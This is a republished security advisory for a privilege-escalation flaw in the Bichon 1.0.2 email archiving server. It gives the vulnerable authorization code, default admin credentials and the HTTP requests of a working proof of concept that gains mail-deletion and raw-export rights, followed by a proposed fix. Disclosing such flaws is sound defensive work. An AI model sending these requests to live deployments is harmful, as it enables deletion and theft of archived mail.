Lucene search
K

📄 Bichon 1.0.2 Privilege Escalation

🗓️ 18 May 2026 00:00:00Reported by MrOruc, AoxLirType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 51 Views

Bichon 1.0.2 enables vertical privilege escalation via account roles due to improper authorization.

Code
Bichon 1.0.2 Vertical Privilege Escalation via Account Role Assignment
    ======================================================================
    
    Vendor:        rustmailer
    Product:       Bichon - self-hosted email archiving server (Rust + TypeScript)
    Project URL:   https://github.com/rustmailer/bichon
    Affected:      All versions through HEAD as of 2026-05-18
                   Commit:  9daab241b0220e81e43d4b98616d77fa45ad58c7
                   Release: 1.0.2 (Docker: rustmailer/bichon:1.0.2,
                            sha256 6a8232f1db4df939cfe28c54661699638d859f5923ff1965aacdabed226c67f0)
    Patched:       Pending vendor fix
    Severity:      High
    CVSS 3.1:      7.6  (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L)
    CWE:           CWE-269 (Improper Privilege Management)
                   CWE-863 (Incorrect Authorization)
    CVE:           Pending (requested via GitHub CNA)
    Discovered:    2026-05-18 (manual source review)
    Researcher:    AoxLir  <[email protected]>
    Disclosure:    Coordinated (Project Zero 90-day standard)
    
    
    I. Background
    =============
    
    Bichon is a self-hosted email archiving server written in Rust with a
    SvelteKit frontend. It integrates IMAP fetching, OAuth2 mail providers,
    SOCKS5 proxy support, and a REST API protected by an RBAC subsystem of
    22 granular permissions across 5 built-in roles and an unlimited number
    of admin-defined custom roles.
    
    The vendor README (line 101) states:
    
       "Account-Level Isolation: Grant users access to specific accounts
        with scoped roles. Permissions enforced at the API layer."
    
    The vulnerability documented here directly contradicts that claim.
    
    
    II. Vulnerability Detail
    ========================
    
    The endpoint POST /api/v1/accounts/access/assignments calls
    BatchAccountRoleRequest::do_assign() (crates/core/src/account/grant.rs
    lines 115-154):
    
        pub fn do_assign(self, context: &ClientContext) -> BichonResult<()> {
            for account_id in &self.account_ids {
                let assigned_role_id = context.user
                    .account_access_map.get(account_id)...?;
                let user_scoped_role = UserRole::find(*assigned_role_id)?...?;
    
                // Critical Check: Does this role grant management/sharing rights?
                if !user_scoped_role.permissions
                    .contains(Permission::ACCOUNT_MANAGE) {
                    return Err(...);
                }
    
                // Optional: Ensure manager isn't giving away perms they don't have
                // ^^^ NOT IMPLEMENTED -- the missing check.
            }
    
            Self::grant_batch_account_access(
                self.account_ids, self.user_ids, self.role_id
            )
        }
    
    The check verifies the caller holds Permission::ACCOUNT_MANAGE on every
    target account but does NOT compare the granted role's permissions
    against the caller's own.  Any user holding ACCOUNT_MANAGE on an account
    - a permission an administrator might include in a narrowly scoped
    custom role intended only for sharing/auditing - can therefore grant
    themselves OR any other user the built-in AccountManager role (or any
    arbitrary custom role) on that account, gaining permissions such as:
    
       data:delete         - irreversible mail deletion
       data:raw:download   - exfiltration of raw EML/MIME files
       data:export:batch   - bulk export
       data:import:batch   - injection of forged messages into the archive
       data:smtp:ingest    - abuse of the SMTP ingest pipeline
       data:manage         - metadata tampering
    
    The REST handler (crates/server/src/rest/api/account.rs lines 303-312)
    adds no additional authorization beyond calling do_assign().
    
    
    III. Proof of Concept
    =====================
    
    Tested live against the official Docker image rustmailer/bichon:1.0.2.
    
    Setup
    -----
    
      $ docker run -d --name bichon-poc -p 15630:15630 \
          -v /tmp/bichon-poc/data:/data --user 1000:1000 \
          -e BICHON_ROOT_DIR=/data \
          -e BICHON_ENCRYPT_PASSWORD=poc-pw \
          rustmailer/bichon:latest
    
    Default credentials: admin / admin@bichon
    
    Step 1: Admin creates a custom Account role with restricted permissions
            but containing ACCOUNT_MANAGE:
    
      POST /api/v1/roles
      Authorization: Bearer <admin_token>
      Content-Type: application/json
    
      {"name":"RestrictedAuditor",
       "role_type":"Account",
       "permissions":["account:manage","account:read_details","data:read"]}
    
    Step 2: Admin creates a low-privilege user 'alice', grants her the
            RestrictedAuditor role on an account.
    
    Step 3: Alice logs in and issues the exploit:
    
      POST /api/v1/accounts/access/assignments
      Authorization: Bearer <alice_token>
      Content-Type: application/json
    
      {"account_ids": [<account_id>],
       "user_ids": [<alice_id>],
       "role_id": 200100000000000}
    
      Response: HTTP/1.1 200 OK
    
    (200100000000000 is the built-in AccountManager role ID, returned by
     GET /api/v1/list-roles.)
    
    Verification
    ------------
    
      Alice's permissions BEFORE the call:
        account:manage, account:read_details, data:read              (3 perms)
    
      Alice's permissions AFTER the call:
        account:manage, account:read_details, data:read,
        data:delete, data:export:batch, data:import:batch,
        data:manage, data:raw:download, data:smtp:ingest             (9 perms)
    
      Six new permissions gained, including the high-impact data:delete
      (irreversible mail deletion) and data:raw:download (raw EML export).
      Total elapsed: a single HTTP POST, no errors.
    
    
    IV. Extended Tests
    ==================
    
      * Cross-user promotion: alice (RestrictedAuditor on account A) promoted
        a different user 'bob' (zero account access) to AccountManager on A
        -- HTTP 200.  Confirms lateral movement is possible, not just
        self-promotion.
    
      * Multi-account boundary: alice attempted to escalate on accounts A
        (had access) AND B (no access) in a single request -- HTTP 403
        "No access to account B".  The account-boundary check works
        correctly; only the per-account permission-bound check is missing.
    
      * Arbitrary custom role: alice granted herself an admin-created
        custom role with 9 high-impact permissions (effectively a renamed
        AccountManager) -- HTTP 200.  Refutes any rebuttal that promotion
        is bounded by the built-in AccountManager role.
    
    
    V. Impact
    =========
    
    Authenticated user with the narrowest custom role that contains
    ACCOUNT_MANAGE can:
    
      - Delete all archived messages for the affected account (regulatory
        / forensic impact -- archives are typically subject to legal hold).
      - Exfiltrate raw EML/MIME (PII, business confidential).
      - Inject forged messages into the archive (integrity / chain-of-
        custody compromise).
      - Promote arbitrary other users to AccountManager (lateral movement
        in multi-tenant deployments).
    
    
    VI. Solution
    ============
    
    Add a permission-subset check inside do_assign(), after the existing
    ACCOUNT_MANAGE check:
    
        let target_role = UserRole::find(self.role_id)?
            .ok_or_else(|| raise_error!("Target role not found".into(),
                                        ErrorCode::ResourceNotFound))?;
    
        let extra: HashSet<_> = target_role.permissions
            .difference(&user_scoped_role.permissions)
            .collect();
    
        if !extra.is_empty() {
            return Err(raise_error!(
                format!("Cannot grant permissions you do not hold: {:?}",
                        extra),
                ErrorCode::Forbidden));
        }
    
    For defense in depth, also require Permission::ACCOUNT_MANAGE_ALL at
    the REST handler layer (crates/server/src/rest/api/account.rs:303), so
    that org-wide account sharing requires an administrator.
    
    
    
    VII. Credit
    ============
    
    Discovered and reported by MrOruc, independent security researcher.
    GitHub: https://github.com/MrOruc
    Email:  [email protected]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation